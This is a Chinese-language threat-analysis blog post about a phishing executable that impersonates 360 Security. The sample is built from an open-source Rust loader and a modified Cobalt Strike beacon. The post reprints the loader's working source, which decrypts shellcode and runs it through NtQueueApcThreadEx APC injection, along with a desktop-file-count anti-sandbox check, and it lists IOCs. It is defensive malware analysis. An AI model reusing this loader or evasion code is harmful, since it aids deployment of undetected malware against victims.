长亭百川云 - 文章详情

近期某Rust钓鱼样本分析

网络保安29

67

2024-07-25

最近****拿到一个钓鱼样本,分析记录一下。

样本名称为“360自查工具.exe”,还伪造了360的签名,看来是想伪装成360安全卫士模块。

但是这个样本的图标怎么是notepad++?看了下资源节,发现里面嵌了俩图标,后来才知道是Loader的生成模板默认是notepad++图标,这也太不严谨了,360自查工具顶着个notepad++的图标也太奇怪了。

在虚拟机运行下看下行为先,可以看到本体直接外联C2了,没有其他的文件释放持久化等操作。

放到IDA里看一下,比较乱,能看出是rust编译的,而且很多函数在里面没法被正常F5,还有很多rust运行时的函数。

发现了可疑的字符串:

说明样本可能会做一些环境检查,并且有调用cmd的行为。

根据一些主要函数的调用,推测可能是要通过APC执行shellcode:

现在大概就有分析思路了,可以把断点下在这些关键行为函数上,进行进一步分析。

但这个样本带了pdb路径:

那分析起来就很简单了,看来是直接拿了一个开源的Loader来用了,搜一下是个RustLoader,传入shellcode,生成rust编译的免杀木马:

根据项目中的反沙箱描述,看到了跟样本中一致的行为:

一样的icon:

看一下Loader的生成过程,主要是加密shellcode、用处理后的shellcode进行Loader编译、给编译出的Loader进行签名。

Rust Loader主要逻辑如下,解密shellcode,分配内存,copy进去,修改内存属性,在当前进程插入APC执行shellcode:

`fn main() {`   `//反沙箱`   `flow_time();`   `ip();`   `check_desktop();`   `//forgery::bundle::bundlefile();`   `let encrypted_data = include_bytes!("encrypt.bin");`   `let uuid_bytes = include_bytes!("uuidkey.txt");`   `let uuid_str = str::from_utf8(uuid_bytes).expect("Failed to read UUID string");`   `let uuid = uuid::Uuid::parse_str(uuid_str.trim()).expect("Invalid UUID string");`   `let decrypted_data = decrypt_with_uuid(encrypted_data, &uuid);`   `unsafe {`       `let shellcode = std::slice::from_raw_parts(decrypted_data.as_ptr(), decrypted_data.len());`       `let shellcode_size = shellcode.len();`       `let ntdll = LoadLibraryA(b"ntdll.dll\0".as_ptr());`       `if ntdll == 0 {`           `panic!("[-]LoadLibraryA failed: {}!", GetLastError());`       `}`       `let fn_nt_queue_apc_thread_ex = GetProcAddress(ntdll, b"NtQueueApcThreadEx\0".as_ptr());`       `let nt_queue_apc_thread_ex: extern "C" fn(HANDLE, isize, *mut c_void, isize, isize, isize) =`           `transmute(fn_nt_queue_apc_thread_ex);`       `let addr = VirtualAlloc(`           `null(),`           `shellcode_size,`           `MEM_COMMIT | MEM_RESERVE,`           `PAGE_READWRITE,`       `);`       `if addr.is_null() {`           `panic!("[-]VirtualAlloc failed: {}!", GetLastError());`       `}`       `copy(shellcode.as_ptr(), addr.cast(), shellcode_size);`       `let mut old = PAGE_READWRITE;`       `let res = VirtualProtect(addr, shellcode_size, PAGE_EXECUTE, &mut old);`       `if res == FALSE {`           `panic!("[-]VirtualProtect failed: {}!", GetLastError());`       `}`       `let handle = GetCurrentThread();`       `if handle == 0 {`           `panic!("[-]OpenProcess failed: {}!", GetLastError());`       `}`       `nt_queue_apc_thread_ex(handle, 1, addr, 0, 0, 0);`   `}``}`

样本放入调试器,断点下在VirtualProtect函数上,第一个参数是shellcode所在地址,第二个参数是shellcode大小,把这块地址的内存dump出来:

将dump出的内存放入IDA,可以看到很明显的反射加载逻辑,根据经验是CobaltStrike的,但是这个反射加载Loader并不是原生的,MZ头和PE头以及一些其他数据是经过魔改的:

将这个shellcode放到Loader中执行,可以看到有解密一些东西的行为:

将解密出的内容dump出来,看到是一些beacon配置,但也不是默认的,应该是通过C2 Profile进行了魔改。

外联C2 81.70.84.120 :

差不多分析完了,这个样本伪装成360安全卫士的程序,并copy了360的签名(虽然是无效的),是基于经过魔改的CobaltStrike Payload通过一个开源的Rust Loader生成的。

反沙箱还是有点用的,微步沙箱没跑出来C2,说明在check_desktop()这一步没通过校验,这里是通过桌面文件数量来进行判断的:

`fn check_desktop() {`   `// 获取桌面路径`   `let desktop_path = get_desktop_path().expect("无法获取桌面路径");`   `let entries = match fs::read_dir(&desktop_path) {`       `Ok(entries) => entries,`       `Err(_) => {``   `           `std::process::exit(1);`       `}`   `};`   `let file_count = entries.filter_map(|entry| entry.ok()).count();`   `// 检查文件数量是否小于 10`   `if file_count < 6 {`       `std::process::exit(1);`   `} else {`   `}``}`

C2在拿到样本的当天被标黑,速度还是可以的:

IOC:

81[.]70[.]84[.]120

3c6d2e7eddb90d602adfabd7f3d451e1

来啊,一起当保安↓↓

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2